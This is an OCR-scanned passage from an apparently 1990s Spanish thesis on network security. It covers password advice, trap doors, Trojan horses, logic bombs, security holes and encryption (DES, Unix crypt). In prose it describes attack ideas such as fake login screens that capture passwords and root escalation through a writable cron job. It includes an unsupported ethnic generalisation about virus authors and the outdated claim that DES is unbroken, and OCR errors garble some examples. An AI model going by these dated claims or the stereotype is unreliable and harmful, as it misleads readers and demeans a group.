2.- No usar el primer o segundo nombre, ni usar cualquiera de sus apellidos. No use ningún apodo que usted tenga.

3.- No use el nombre de su esposa, amante, novio(a), o hijo(a)(as,os).

4.- No use alguna palabra contenida en un diccionario, listas de verbos u otro tipo de listas.

5.- No use palabras de documentos que puedan ser obtenidas facilmente de usted. p.e. Número de licencia, RFC, números telefónicos, números de seguro social, la marca de su

automóvil, nombre de la calle donde usted vive, etc ...

6.- No use un password con todos los dígitos o todas las letras iguales.

7.- No use un password con menos de siete letras.

8.- No use un password que contenga fechas de cumpleaños o aniversarios.

45

Page 45: Estrategias para incrementar la seguridad de una red

Capítulo III

¿ Qué hacer ? .

1.- Use un password con letras mezcladas. p.e. MAyusCulaSConMinusculas

2.- Use un password con caracteres no alfabéticos. p.e. dígitos o caracteres de puntuación.

( 23.3-ola ). 3.- Use un password que sea fácil de recordar, con el fin que no tenga que escribirlo.

4.- Use un password, que pueda teclearlo rápidamente, sin tener que ver el teclado. Esto le hace más difícil ver a aquel que observa sobre sus hombros.

Bueno ya establecimos el que hacer y que no hacer, pero y¿ el cómo?.

¿Cómo?.

1.- Escoja un línea o dos de un parrafo de una canción o poema, y use la primer letra de cada palabra. p.e : "Mira cómo sale tierra de la Luna, mira cómo llora el Sol... ". password="McstLmcleS "

2.- Use las relaciones entre numeros y palabras: p.e. FRASE: PASSWORD:

"One for the money" ====> "14money". "two for de show" ====> "24show". "To be orno to be"====> "2bnot2b".

Un problema con este tipo de passwords, es que son cortos.

3.- Alterne una consonante y una o dos vocales dentro de un password de ocho letras. Esto nos da un password con palabras sin sentido y que no son pronunciadas usualmente.

Mezcle letras mayúsculas con minúsculas en este.

4.- Escoja dos palabras cortas y concatenelas con un signo de puntuación o caracter no alfabético entre ellas. Una vez más, mezcle dichas letras con mayúsculas y minúsculas y/o dígitos. p.e.

"Dog,raln", "b00k/mug3", etc ... , para aumentar seguridad, ponga invertida una de las palabras.

3.7. Trap Doors.

Un trapdoor permite a un atacante ingresar al sistema sin que su identidad sea autentificada. El atacante es libre de producir efectos no autorizados como resultado de la ejecución de comandos del sistema. Del mismo modo el atacante puede generar una secuencia de eventos ilícitos.

Este tipo de ataques es usado cuando el programador de "x" sistema utiliza cierta combinación de teclas para tener un acceso rápido a bloques del sistema cuyo camino es largo, de modo que cuando se tiene la versión original, muchas veces por descuido es olvidado desactivar este acceso rápido y se libera el sistema incluyendo este hueco.

Es por esto a veces que sin saber que tecleamos, llegamos a cierta parte del programa y nos desconcierta en primera instancia el no saber que fue lo que hicimos.

46

Page 46: Estrategias para incrementar la seguridad de una red

Capítulo III

Este tipo de accesos es muy utilizado en juegos y son los llamados "trucos" por los aficionados, es muy común oir a los chicos, conocer algunos trucos de éste tipo y ver cómo se convierten en los "maestros" del mismo.

Dentro de los sistemas computacionales es muy peligroso dejar activos éste tipo de accesos a la hora de librerar sistemas, ya que podrían representar entradas peligrosas al sistema. De hecho no se recomienda programar dichas entradas al sistema.

3.8. Caballos de Troya.

Un caballo de troya es una pieza de software el cual se dice ser un programa "x" o alguna utilería en especifico, pero en realidad ejecuta otras funciones diferentes, usualmente maliciosas o destructivas.

El caballo de Troya puede realizar finciones no autorizadas y una vez concluídas éstas, realiza funciones para las cuales el programa está autorizado; el caballo de Troya aparece a los ojos del usuario como un programa que realiza funciones legítimas.

En un sistema Unix, un falso programa login puede capturar primero el password y el nombre del usuario y los alamcena en algún archivo suyo y después invoca al verdadero programa login.

Este tipo de ataques es posible encontarlos a la orden del día. Como podemos apreciar en uno de los últimos comunicados del AUSCERT (Australian Computer Emergency Response Team), el cual confirma la existencia de un archivo distribuído por toda Internet, llamado PKZ300B.EXE o PKZ300B.ZIP que se dice llamar la utilería para empacar archivos de DOS, en formato zip.

AUSCERT confirma que este es un archivo de auto-extracción, es decir, que cuando se ejecuta desempaca una serie de archivos que vienen almacenados dentro de éste mismo, y que dentro de éste conjunto de archivos se encuentra el caballo de troya, el cual destruye toda la información del Disco Duro de la PC.

La filosofía de un caballo de troya es muy simple, pero efectiva. Así como se puede desarrollar un programa de éste tipo, también es posible y muy simple, diseñar un pequeño programa para Unix con el nombre de "Id", el cual quizá el nombre no diga nada, pero es bien sabido que uno de los comandos de más uso es "Is", de modo que cuando exista el clásico error de tecla, y se ponga "Id" en lugar de "Is", ¡¡ upps!! se activó el caballo de troya. Nótese que la tecla "d", esta a un lado de la tecla "s", es por ésto que la ejecución de éste programa sería casi segura. La desventaja de éste programa es que debería estar siempre accesible al usuario, y ésto implicaría meterlo como comando al sistema y eso implicaría apoderarse antes del password de super usuario, a menos que el atacante lo ponga en un directorio público.

Una idea más viable es correr un programa en forma remota, que simule la ventana o interfaz que se le presenta al usuario cuando le es requerido el login, y el password para iniciar una sesión, de modo que el incauto tecleará su nombre de usuario y su password, de ésta forma será casi seguro obtener la identificación de aquel usuario que desee ingresar.

3.9. Bombas Lógicas.

Una bomba lógica es una modificación en un programa que lo obliga a ejecutarse de manera diferente bajo ciertas circunstancias. Bajo condiciones normales, el programa se comporta como previsto y la bomba no puede ser detectada. El programa maligno será activado en el momento en que se cumpla la condición de igualdad o desigualdad de la variable y el reloj del sistema.

47

Page 47: Estrategias para incrementar la seguridad de una red

Capítulo III

Un ejemplo del uso de éste tipo de programas puede verse en el clásico virus llamado "viernes 13" de las PC's, el cual se activa en la máquina infectada cada viernes 13.

Este tipo de programas por lo regular son distribuídos por aquellos países que desean difundir alguna fecha especial en su historia, los árabes son grandes aficionados a diseñar éste tipo de virus.

Este tipo de ataques quizá sean más usados por los virus para asegurar su activación, muchos de estos también son programados en el crontab del sistema Unix.

Un error en la configuración del crontab puede resultar fatal, supóngase que se tiene programado un proceso en lotes para ser ejecutado por la noche, dicho proceso necesita tener privilegios de "root", y sin darnos cuenta dejamos programado dicho proceso con permisos de escritura y lectura para todo el mundo.

El resultado es claro y obvio: un usuario cualquiera y que tenga acceso a la máquina en la que se correrá el proceso, puede hacer uso de éste programa, obtener privilegios de super usuario y hacerse "dueño" del sistema, lo cual resulta caótico si el proceso que se debe correr es un respaldo.

48

Page 48: Estrategias para incrementar la seguridad de una red

Capítulo IV

Capítulo IV. Seguridad Computacional.

El problema que plantea la seguridad computacional tiene que ver con los serv1c1os, mecanismos y herramientas utilizados para proveer controles de acceso a información clasificada dentro del marco de un sistema computacional con el fin de disminuir el riesgo que implica tener información disponible. Dichos mecanismos deberán buscar como fin último la confidencialidad, integridad y disponibilidad de la información, tratando de disminuir al máximo los riesgos que implica la conexión a un ambiente de redes computacionales.

Un mecanismo de seguridad se entiende como una técnica o método incorporado en la capa "n" del sistema para proveer uno o más de los servicios de seguridad de dicha capa. La seguridad computacional debe basar sus objetivos en el diseño y perfeccionamiento de dichos mecanismos para que la disponiblidad, integridad y confidencialidad se vean beneficiadas al máximo.

En general, un mecanismo puede tomar cualquiera de las siguientes formas:

a) Prevención. Me permite conocer el alcance y la forma de cómo llegará el ataque y me da las herramientas para poder evitarlo.

b) Detección. Es un mecanismo que actúa cuando el ataque esta sucediendo y me permite saber los métodos utilizados por el hacker para violar la seguridad.

c) Recuperación. El ataque ha concluido y debo entonces utilizar las herramientas definidas por el mecanismo de seguridad para poder reestablecer el sistema. Es importante que el mecanismo tome en cuenta planes de contingencia para éste tipo de casos.

En lo personal considero que los mecanismos que se deben buscar son aquellos del tipo prevención. Éste tipo de mecanismos me permite estar preparado y actuar con seguridad ante el evento que sucederá.

Dentro de los servicios más importantes de seguridad se encuentran:

a) Autentificación.- Servicio que permite conocer la identidad de los dos entes que entablan conexión remota y asegura que ambas personalidades son confiables.

b) Control de Acceso.- Provee protección contra el uso no autorizado de los recursos accesibles a través de la interconexión de sistemas abiertos.

c) No-repudiación.- Este servicio no puede permitir a un emisor el negar haber enviado un mensaje, ni permite a un receptor el negar haber recibido un mensaje.

d) Control de Flujo.- Este servicio debe proteger contra flujos de datos no prohibidos, es decir debe asegurar que la información que se ha enviado en forma accidental no debe llegar a destinos que puedan resultar riesgosos para el emisor.

Esta tarea no es fácil cuando se presenta un entorno operativo heterogéneo como lo es la Internet; nunca se puede saber cuando ni cómo sucederá un ataque, tampoco se sabrá si la persona que intenta un acceso no permitido está en la máquina anexa o del otro lado del mundo, más aún es probable que el individuo que realiza el ataque está utilizando alguna cuenta, suplantando la identidad de otra persona, es por ésto que la seguridad computacional obliga a diseñar mecanismos que permita disminuir éste tipo de acciones, evitando reinstalaciones innecesarias del sistema.

49

Page 49: Estrategias para incrementar la seguridad de una red

Capítulo IV

Existen dos tipos de ataques a la seguridad de sistemas computacionales: Los ataques pasivos, que tienen como característica principal la de no modificar, alterar o borrar datos o información existente en el sistema atacado y los ataques activos que sí modifican la información del sistema, alteran la información e incluso pueden borrarla, aquellos ataques que roban la información y la utilizan con fines negativos, se consideran ataques activos.

4.1 ¿Qué hace que un sistema sea inseguro?. Esta es una de las preguntas que asoma a primera vista cuando en una plática se aborda el tema de seguridad computacional, mucha gente que tiene contacto con las computadoras a nivel usuario se asombran y se preocupan al saber que existe la forma de que otras personas ajenas a la organización puedan tener acceso a su información, que aunque no lo hagan de la forma tradicional lo hacen utilizando ciertos métodos que a la larga resultan muy efectivos. Un comentario que para mi resultó muy curioso ocurrió en una de las conferencias celebradas en COMDEX 95, en la Ciudad de México, cuando en la sesión de preguntas un participante afirmó tener la red más segura de todas, el expositor con la mano en la cintura le contestó: "Sí, le creo, pero le recomiendo que CUANDO SE CONECTE a Internet lo haga tomando muy en cuenta la seguridad". Y sí efectivamente ésta es la clave que responde a la pregunta que abrió este tema. Existe un adagio muy especial en este sentido y que está atribuido a Gene Spafford <[email protected]>, dice lo siguiente:

"The only system which is truly secure is one which is switched off and unplugged, locked in a titanium lined safe buried in a concrete bunker, and is surrounded by nerve gas and very highly paid armed guards. Even then, I wouldn't stake my life on it".

Un sistema es tan seguro como la gente que hace uso de éste quiera. Sí, realmente esto es cierto, el sistema puede ser totalmente seguro sin ninguna protección y sin ningún mecanismo de seguridad implantados. Si cada persona involucrada en el sistema se comprometiera a asumir únicamente la responsabilidad y tareas que el sistema le otorga, sin indagar información que no le compete, aunado a la realización regular y efectiva de las labores de respaldo, mantenimiento y revisión, el sistema debería funcionar correctamente.

El primer problema se presenta cuando se presenta la necesidad de obscurecer y proteger cierta información y el administrador comienza por poner el primer candado, de modo que esto se irá haciendo con otro tipo de información y el número de candados, al igual que la curiosidad de la gente comienza a crecer. Los huecos de seguridad desde nuestro punto de vista se manifiestan de cinco formas:

1 a. Huecos de seguridad físicos. 2a. Huecos de seguridad en Software. 3a. Huecos de seguridad en Hardware. 4a. Huecos de seguridad producidos por incompatibilidad de recursos. 5a. Huecos de seguridad relacionados con la cultura computacional existente.

4.1.1 Huecos de seguridad Físicos.

Donde el problema potencial es causado por dar acceso físico a las máquinas del site a personas no autorizadas. Esto llevaría a permitir a este tipo de personas a realizar operaciones que pongan en riesgo la información existente en el sistema. Un ejemplo de esto puede observarse cuando se deja un bloque de cintas de respaldo y un usuario puede tomarlas y modificar la información. Otro caso, una estación de trabajo pública puede dar la facilidad a otra persona de "reiniciar" ésta y hacer uso de la cuenta root para fines no muy positivos. Quien no viva con la desconfianza, es probable que la información que almacena en sus servidores sea información que se modifica frecuentemente y de forma inexplicable en su sistema.

50

Page 50: Estrategias para incrementar la seguridad de una red

Capítulo IV

4.1.2 Huecos de seguridad en Software.

Donde el problema es causado por haber escrito rutinas inseguras en programas privilegiados y comprometido toda la seguridad del sistema. El más famoso ejemplo de ésto es el hueco en "send mail", que permitía al cracker obtener en forma remota un shell de root, de ésta forma el cracker tendría el control completo del sistema remoto, pudiendo entonces crear nuevas cuentas, borrar todos los sistemas de archivos, copiar la tabla de usuarios, en fin tendría la capacidad de hacer cualquier cosa. Otro ejemplo se puede ver en el capítulo III de éste trabajo, en el cual se aprovecha la vulnerabilidad del código fuente del programa rlogin y algunas fallas de configuración, para obtener acceso a sistemas remotos. La recomendación es que cuando se instale alguna aplicación nueva se trate de habilitar sólo aquellos módulos que sean necesarios, existe el caso en que muchas aplicaciones pueden enviar información a sistemas ajenos. La administración cuidadosa del sistema es vital, recuerde que un simple "chmod" puede prevenir accesos remotos no deseados. En conclusión: ¡ ¡ No confíe en Scripts de instalación de dudosa procedencia ! !.

4.1.3 Huecos de seguridad en Hardware

El problema significativo en este tipo de huecos se muestra con programas que aprovechan la deficiencia de ciertas tarjetas de red, las cuales pueden ser programables (en modo promiscuo) y permitir que otros usuarios "escuchen" todos los datos que fluyen por el medio. Existen tarjetas que no pueden ser programadas evitando así este tipo de problema. El capítulo III, describe este tipo de ataque con más detalle.

4.1.4 Huecos de seguridad producidos por incompatibilidad de recursos.

Este es producido en la mayoría de los casos cuando se hace una mezcla de aplicaciones y recursos de hardware para soportar ciertas necesidades. El ensamble en la combinación de hardware y software es muchas veces un camino poco seguro para un sistema, cuando las cosas no encajan desde su naturaleza, no es posible obligar a que éste sea el medio más efectivo, eficiente y seguro para su aplicación final.

4.1.5 Huecos de seguridad relacionados con la cultura computacional existente.

Donde el problema es causado por el error humano o por la ideología que impera en algunos usuarios, muchos administradores de red utilizan su experiencia para "mejorar" procedimientos de operación, pero algunas veces por error o descuido se dejan archivos o directorios desprotegidos, mismos que serán aprovechados por otras personas. Otro problema se presenta en la forma de pensar de los usuarios, ya que hay quienes se oponen a utilizar passwords complicados o simplemente consideran un reto el poder romper los niveles de seguridad de otras redes.

Este tipo de problemas debe plantear soluciones más complejas, que vayan directamente a la forma de pensar de los usuarios. Los mecanismos de seguridad más avanzados, certificados y probados pueden llegar a ser los mecanismos más vulnerables si no existe una debida preparación en lo referente a cultura computacional. Esto obliga a pensar en la necesidad de proponer políticas de seguridad que planteen modelos que comprometan la ideología y actitud de los usuarios. El mejor mecanismo de seguridad del mundo implantado en nuestro sistema, deja de serlo cuando nuestros usuarios piensan que usar las letras de su nombre al revés es el mejor password. Es ahora cuando reafirmo que la Internet es más que un conjunto de cables y computadoras interconectadas, la gente que vive con ésta hace que la red tome vida y aparezca en ocasiones con una cara no muy agradable.

51

Page 51: Estrategias para incrementar la seguridad de una red

Capítulo IV

4.2 Diferencia entre Cracker y Hacker.

En la terminología de los usuarios de la red, se conoce como "cracker" a aquella persona que en forma persistente realiza intentos hasta obtener acceso a sistemas computacionales remotos y ajenos a éste, por una variedad de razones: la satisfacción de saberse capaces de lograr accesos sin autorización; simplemente porque saben que ésto es posible o se dan cuenta que el hecho de hacer esto les da un estatus de importancia en su grupo. Particularmente los crackers antisociales tienen una actitud de vandalismo y borran sistemas de archivos, tiran máquinas o dejan corriendo procesos que les darán el acceso en otra ocasión ("back doors"). El término también es utilizado para definir a aquellas personas que logran romper el sistema de protección del software para mantener o distribuir la copia en forma gratuita. Un "hacker" es aquella persona que tiene un alto grado de conocimiento y experiencia en el campo de la computación y es capaz de aplicar sus experiencias con gran facilidad, e incluso compartir su conocimiento con aquellos que apenas inician, de hecho éste tipo de personas tienen una visión diferente de la seguridad computacional y ven a ésta como una oportunidad para aportar sus conocimientos. En la vida real se confunde mucho el concepto de hacker con el de cracker, hay quienes usan la palabra hacker para aquellos crackers mal intencionados.

4.3 Razones por las cuales se ataca un host.

Es difícil saber en forma definitiva cual es la razón que un host sea atacado. Éstas pueden ser múltiples y variadas, se puede ir desde razones de espionaje hasta por razones de juego. Uno de las razones más comunes esta relacionada con la facilidad de usar sistemas de acceso fácil como "puente" para poder alcanzar otros sites, que son realmente el destino final. La persona que utiliza muchos saltos entre máquinas puede aprovechar las debilidades de cada una para ir borrando su rastro. Muchos de los cracker saben que es mejor pasar antes por 10 máquinas diferentes, 3 gateways etc ... antes de entrar a sistemas de compañías importantes como: MIT, NASA, CERT, AT&T, etc .. Otra de las razones es psicológica, mucha gente adora pasar todo el día frente a su computadora y practicar juegos que reten sus capacidades. Se sabe que las universidades son los puntos más frecuentemente utilizados por los crackers para tener salida hacia otros puntos. Uno de los escenarios más frecuentes se observa cuando Mary presta su cuenta a su novio Luis, que tiene un amigo Juan, al cual le gusta jugar en la red y gracias a la facilidad de obtener la cuenta de Mary, encuentra la forma de obtener más cuentas en el mismo site, dichas cuentas son compartidas por los amigos de Juan, y en poco tiempo tenemos una legión de crackers utilizando las máquinas del site al cual pertenece Mary.

4.4 Confidencialidad de la lnf ormación.

La confidencialidad puede entenderse como el acto de mantener ocultas o secretas ciertas cosas con clasificación importante, en éste caso la información; es uno de los principales objetivos de los practicantes de la seguridad computacional.

Algunos administradores de red no tomaban en cuenta la confidencialidad de la información hasta que tuvieron algún ataque. Dependiendo de qué tipo de información se mantenga, se puede configurar un site donde todos los niveles son protegidos, o donde algunos niveles son importantes y es donde se aplica el control de acceso, o aquellos en los que toda la información del sistema puede ser pública. Un ejemplo del tercer tipo de configuración se puede notar cuando se utiliza un site como laboratorio académico de pruebas, en donde los estudiantes realizan pruebas de todo tipo en la red. Es muy recomendable que este tipo de laboratorios se encuentre desconectado de Internet ya que puede ser el nido de muchos aprendices de crackers.

52

Page 52: Estrategias para incrementar la seguridad de una red

Capítulo IV

Existen tres instancias en la cuales la información queda vulnerable:

I) Cuando la información es almacenada en un sistema computacional mal configurado. 2) Cuando la información está en tránsito de una computadora a otra. 3) Cuando la información es almacenada en cintas de respaldo.

El primero de los casos es controlado con los permisos y facilidades que el administrador de red otorga, se pueden implementar listas de control de acceso al sistema y otros mecanismos que explicaremos más adelante. El segundo caso podrá ser evitado con la implementación de algoritmos que nos permitan enviar la información cifrada por la red. El tercer caso únicamente podrá estar a salvo cuando se tenga una fuerte política en cuanto al aseguramiento y acceso de cintas de respaldo para evitar que personas no involucradas al sistema puedan hacer uso de éstas, es necesario que las cintas sean almacenadas en lugares cerrados y seguros bajo llave.

Los tres casos anteriores pueden ser auxiliados por mecanismos de encriptamiento de información; el encriptamiento de información se refiere al proceso de llevar la información que existe y se encuentra en un formato de texto legible y claro a un formato no legible en forma temporal con el fin de asegurar que la información que sea robada no pueda ser de utilidad a terceras personas, ésta es la ventaja de usar encriptamiento de información como un recurso para ocultar la información.

4.5. Criptografía.

Encriptar es la transformación de los datos a una forma no legible con el fin de asegurar la privacía de la información almacenada, utilizando una llave secreta. La llave secreta nos va a permitir descifrar la información que ha sido encriptada o cifrada.

Por ejemplo, es probable que alguien desee encriptar la información de su disco duro para evitar que terceras personas puedan leer ésta información.

En un ambiente multiusuario, el encriptamiento de la información permite tener un medio de comunicación segura sobre un canal. El escenario general es como sigue: Luis desea enviar un reporte secreto a Juan, asi que nadie excepto Juan debe poder leer dicho mensaje. Luis encripta el mensaje con una llave, el mensaje es llamado texto en claro y el resultado del encriptamiento se llama texto cifrado, el texto cifrado es enviado a Juan, el cual a su vez recibe el mensaje y lo descifra con la llave y lee el reporte. Un atacante, Pedro quizá intente robar la llave secreta para poder descifrar el mensaje.

En un sistema seguro de encriptamiento, el texto en claro no puede ser obtenido sin la llave secreta, en éste caso la llave secreta es compartida por Luis y Juan. A éste método de intercambio de información cifrada se le conoce como sistema de encriptamiento con llave secreta, el cual tine la desventaja de que ambos (receptor y emisor) deberán conocer la llave secreta. Es posible incrementar el nivel de seguridad si implantamos un mecanismo de firma digital al mensaje cifrado, de modo que el receptor estará seguro de la integridad de la información y de la autenticidad de la fuente.

Una firma digital es un pedazo de código agregado a un mensaje, que puede ser verificado por el receptor. La firma digital autentifica de manera única a su creador. En forma práctica podemos afirmar que ésta funciona igual que en los documentos oficiales, en los cuales la persona responsable de dicho documento pone su firma como sello de autenticidad.

El sistema de encriptamiento por llave pública fue inventado por Whitfield Diffie y Martín Hellman en 1976 para solucionar el problema de la administración de llaves. En este nuevo sistema cada persona tiene un par de llaves llamadas la llave pública y la llave privada.

53

Page 53: Estrategias para incrementar la seguridad de una red

Capítulo IV

Cada llave pública de las personas involucradas en el sistema es difundida a todo el mundo, mientras que la llave secreta se mantiene como la llave personal secreta. La necesidad del receptor y emisor de compartir información secreta es eliminada, todas las comunicaciones involucran llaves públicas y las llaves privadas no deben ser compartidas ni publicadas. Ahora cualquier persona puede enviar un mensaje confidencial utilizando información pública, ya que el mensaje enviado sólo podrá ser decriptado con la llave secreta de la persona a la que va dirigido el mensaje.

Por ejemplo. Hagámoslo por pasos: 1.- Luis necesita enviar un mensaje confidencial a Juan, entonces busca en un directorio la llave pública de

Juan. 2.- Utiliza la llave pública de Juan para encriptar el mensaje 3.- El mensaje encriptado con la llave pública de Juan es enviado. 4.- Juan recibe el mensaje encriptado. 5.- El mensaje encriptado es decriptado con la llave secreta de Juan y ahora lo puede leer.

Cualquiera puede enviar un mensaje encriptado a Juan, pero sólo Juan podrá leerlo ya que se necesita de su llave privada para poder descifrar el mensaje. obviamente existe el requerimiento de que nadie publique su llave privada.

Para encriptar texto se pueden utilizar varios métodos como el de substitución, permutación, permutación con expansión, etc.

En el método de substitución no se cambia la secuencia de los caracteres de la información. Se cambia el valor de cada caracter de la información.

Si se quiere enviar el siguiente mensaje: HOLA , se deberá escoger el valor de una llave (k) y el método a utilizar, en éste caso es de substitución. Por ejemplo.

M=HOLA k=4. E=Substitución:

En éste caso podemos declarar que el caracter escogido para la substitución es el cuarto caracter (k=4) en el alfabeto, después de la letra a substituir.

Por ejemplo si existe el caracter A en el mensaje, entonces éste será substituido por E.

A, B, C, D, E,F, G .... O 1 2 3 4

De modo que el mensaje : HOLA, tendrá de salida : LSPE

M=HOLA M*=LSPE

Dónde M*es el mensaje encriptado.

El método de permutación no cambia el valor de los carcateres de la información. Se cambia la secuencia de cada caracter de la información. Por ejemplo:

M= HOLA QUE TAL!, COMO ESTAN TODOS?. E=Permutación K=4.

54

Page 54: Estrategias para incrementar la seguridad de una red

Capítulo IV

1H o E N D 2 O Q T M s o 3 L u A o T T s 4 A E L c A o ?

El mensaje de salida será: H !OEND.OQT,MS OLUA OTTSAELC AO? M= HOLA QUE TAL!, COMO ESTAN TODOS?.

M*= H !OEND.OQT,MS OLUA OTTSAELC AO? Dónde M*es el mensaje encriptado.

Existen varios paquetes comerciales de encriptamiento de información tanto en hardware como en software. El encriptamiento por hardware tiene ventajas sobre el encriptamiento por software, es más rápido y ofrece grandes barreras a un atacante que quiere ejecutar un acceso bastante rudo. Algunos de los mecanismos más utilizados que ofrecen encriptamiento por Hardware y Software son DES (Data Encryption Standard), Crypt, MD5 y RSA.

4.5.1. Data Encryption Standard (DES).

DES es quizá el algoritmo de encriptamiento más utilizado hoy en día, inspirado en el sistema "Lucifer cipher" de IBM surgido en 1970, en 1977 es ratificado como FIPS (Federal lnformation Processing Standard), actualmente es el estándar de encriptado de datos del NIST (National Institute of Standards and Tecnology). DES utiliza una llave de 56 bits que opera sobre bloques de datos de 64 bits, el grado de sensibilidad tiene que ver con el manejo de bits, un bit de error en el mensaje encriptado (M*), produce un 50% de error en el mensaje decriptado.

DES transforma la información de formato texto plano a información encriptada o información cifrada, el algoritmo utiliza un valor como semilla llamado "llave" de 56 bits. Dicha llave será el valor que me permita recuperar la información a su formato original.

En la figura 4.1 se muestra la estructura del funcionamiento del algoritmo DES para obtener la salida de 64 bits; como podemos observar este algoritmo adopta métodos de substitución y permutación durante las iteraciones.

55

Page 55: Estrategias para incrementar la seguridad de una red

Capítulo IV

32 32

I 32

32

32

Permutación con Expansión 48

32

Permutación simple

4 6

S-hoxcs Suhstitución con Expansión

[Figura 4.1] - Estructura del Algoritmo DES.

El cálculo de las llaves se logra de la siguiente forma, esta iteración la realiza 16 veces:

1.- La llave de entrada de 64 bits es pasada por PS 1 produciendo una salida de 56 bits. 2.- La salida de PS 1 es dividida en dos campos de 28 bits (C y D). 3.- Los campos C y D son rotados circularmente hacia la izquierda una o dos veces según el número de

iteraciones realizadas. 4.- El resultado de rotación es pasado por PS2, produciendo 48 bits. 5.- El resultado de PS2 es la "sub-llave" de la iteración. 6.- Regreso al paso 3.

La iteración principal se realiza 16 veces también y sigue los siguientes pasos:

1.- El contenido de D pasa por la permutación de expansión E, que duplica 16 de los 32 bits de D, produciendo 48 bits.

2.- A la salida de E se le aplica la operación OEX con los 48 bits tomados de los 56 bits útiles de la llave de encriptado.

3.- El resultado del OEX es dividido en 8 bloques de 6 bits cada uno, que son pasados a través de las S-boxes produciendo una salida de 32 bits.

4.- El resultado es pasado por la permutación P.

5.- La salida de Pes combinada mediante un OEX con el campo I, el resultado es almacenado en un campo Temp.

6.- El campo I toma el valor del campo D. 7.- El campo D toma el valor del campo Temp.

Ha sido DES algúna vez roto?. DES nunca ha sido roto, a pesar de los esfurzos de muchos investigadores a través de muchos años.

56

Page 56: Estrategias para incrementar la seguridad de una red

Capítulo IV

El método más obvio para lograr romper DES es por el método de buerza bruta, que es una búsqueda

exhaustiva del valor de la llave, este toma cerca de 255

pasos en promedio.

Hace poco Diffie-Hellman (ref[57]) sugería que un rico y poderoso enemigo podría construir una poderosa computadora con un propósito especial, romper DES por búsqueda exhaustiva en una cantidad de tiempo razonable. Después Hellman (ref[58]) mostró un esquema de uso de memoria después de una ejecución exhaustiva que mejoraba el tiempo de memoria consimida cuando el espacio de ésta era abundante. Éstas ideas favorecieron dudas acerca de la seguridad de DES. Inculso hubieron aceveraciones de que NSA, había debilitado a DES en forma intencional. A pesar de estas sospecha no hay camino factible de romper DES más rápido que una búsqueda exhaustiva. El costo de una computadora especializada para perfeccionar y ejecutar la búsqueda exhaustiva ha sido estimado por Wiener (Ref 59]) en un millón de dólares.

4.5.2. Crypt.

El algoritmo crypt(3) se basa en DES, desarrollado por el Instituto Nacional de Estándares y Tecnología (NIST). En operación normal de acuerdo con el estándar DES, una clave de 56 bits, como ocho caracteres de siete bits, se utiliza para encriptar el texto original, el cual es conocido como texto en claro. El texto cifrado resultante no puede ser decriptado con facilidad sin saber la clave original.

En los sistemas Unix es posible utilizar el comando crypt para encriptar datos. El algoritmo que crypt emplea está basado en el dispositivo Enigma de la segunda guerra mundial y es muy inseguro. Los archivo encriptados con crypt podrán ser decriptados con facilidad por medio de un enfoque de fuerza bruta en el lapso de unas cuantas horas. Por ésta razón debe evitarse el uso del comando crypt para datos delicados.

En alguna ocasión los passwords de los usuarios se guardaban en un formato simple, y sólo el administrador y el software del sistema tenían acceso a tal archivo. Sin embargo sucedían varios problemas al editar el archivo de usuarios, el cual contiene el password (/etc/passwd). La mayoría de los editores creaban un archivo temporal, el cual podía ser leído por todos.

Como resultado se desarrolló un método de encriptación de passwords. Cuando un usuario ejecuta una petición de acceso al sistema, éste solicita el nombre de usuario y el password. En realidad el sistema no decripta el password encriptado que se localiza en el archivo de usuarios (/etc/passwd) para autentificar al usuario, sino que encripta la contraseña proporcionada por el usuario y la compara con el valor que tiene en la tabla de usuarios. Si ambas coinciden, entonces el usuario proporcionó el valor correcto y podrá tener acceso al sistema.

Crypt utiliza una llave que le servirá para realizar el encriptamiento del texto en claro, a continuación se muestra un ejemplo del uso del comando crypt en Unix para encriptar un archivo. En este ejemplo se ha creado un archivo llamado texto, el cual contiene el siguiente mensaje: "Este es el texto en claro" La llave que ha sido proporcionada tiene un valor de 10 y el mensaje cifrado se guardará en el archivo con nombre: cifrado. M= Este es el texto en claro K=IO

File M= texto FileM*=cifrado

puertorico<riclopez> crypt <texto> cifrado /* Encripto el archivo "texto" y el resultado lo guardo en el /* archivo "cifrado"

Enter key: /* El sistema pide al usuario el valor de la llave que servirá para /* descifrar posteriormente el mensaje. (K=IO)

puertorico<riclopez> more cifrado /* Para ver el resultado del algoritmo

57

Page 57: Estrategias para incrementar la seguridad de una red

Capítulo IV

/* Estos son los datos del archivo cifrado

puertorico<riclopez> crypt 1 O <cifrado> otro /* Ahora se va a recuperar la información encriptada y /* el resultado se almacena en el archivo "otro". /* Nótese que se debe dar la llave ( 1 O) como parámetro /* al programa para obtener el mensaje original.

puertorico<riclopez> more otro Este es el texto en claro

/* Para ver el resultado del algoritmo. /* Se ha obtenido el mensaje original.

¿Qué sucede si la llave proporcionada para realizar la recuperación de la información, no es la correcta? Veamos el siguiente ejemplo:

puertorico<riclopez>crypt 12 <cifrado> otro 1

puertorico<riclopez> more otro 1 ppY-A.eCí¡e&W<·la•eFgDEbl puertorico<riclopez>

La siguiente pregunta que surge es:

/* La llave correcta es 1 O y no 12, los resultados se /* almacenan en el archivo otro]. /* Para ver el resultado del algoritmo. /* No es la información original, es necesaria la llave.

Si el sistema Unix utiliza el algoritmo crypt para encriptar los passwords de los usuarios. ¿Cómo conoce la llave que se debe usar para encriptar el password proporcionado por el usuario?.

Cuando un usuario ejecuta el programa /bin/passwd para establecer una contraseña nueva, el programa obtiene una semilla basada en la hora, ésta será utilizada para modificar el password del usuario.

El problema viene después cuando el usuario realiza una petición de acceso al sistema. Es posible, pero no probable que el usuario ejecute dicha petición a la misma hora y la semilla sea la misma. Para asegurar el funcionamiento, Unix guarda también la semilla en /etc/passwd, que son los dos primeros caracteres del password encriptado. Por ejemplo en el password encriptado:

2eLNss23uT/RT

los caracteres 2e son la semilla para este password. Cuando el usuario se registra en el sistema, el programa de registro extrae la semilla del password encriptado guardado y lo utiliza para encriptar el password que proporciona el usuario. Si el nuevo password encriptado es igual al que se ha almacenado entonces el password proporcionado es correcto y se permite el acceso, en caso contrario se le pide el registro nuevamente al usuario.

4.5.3. Rivest, Shamir and Adleman (RSA).

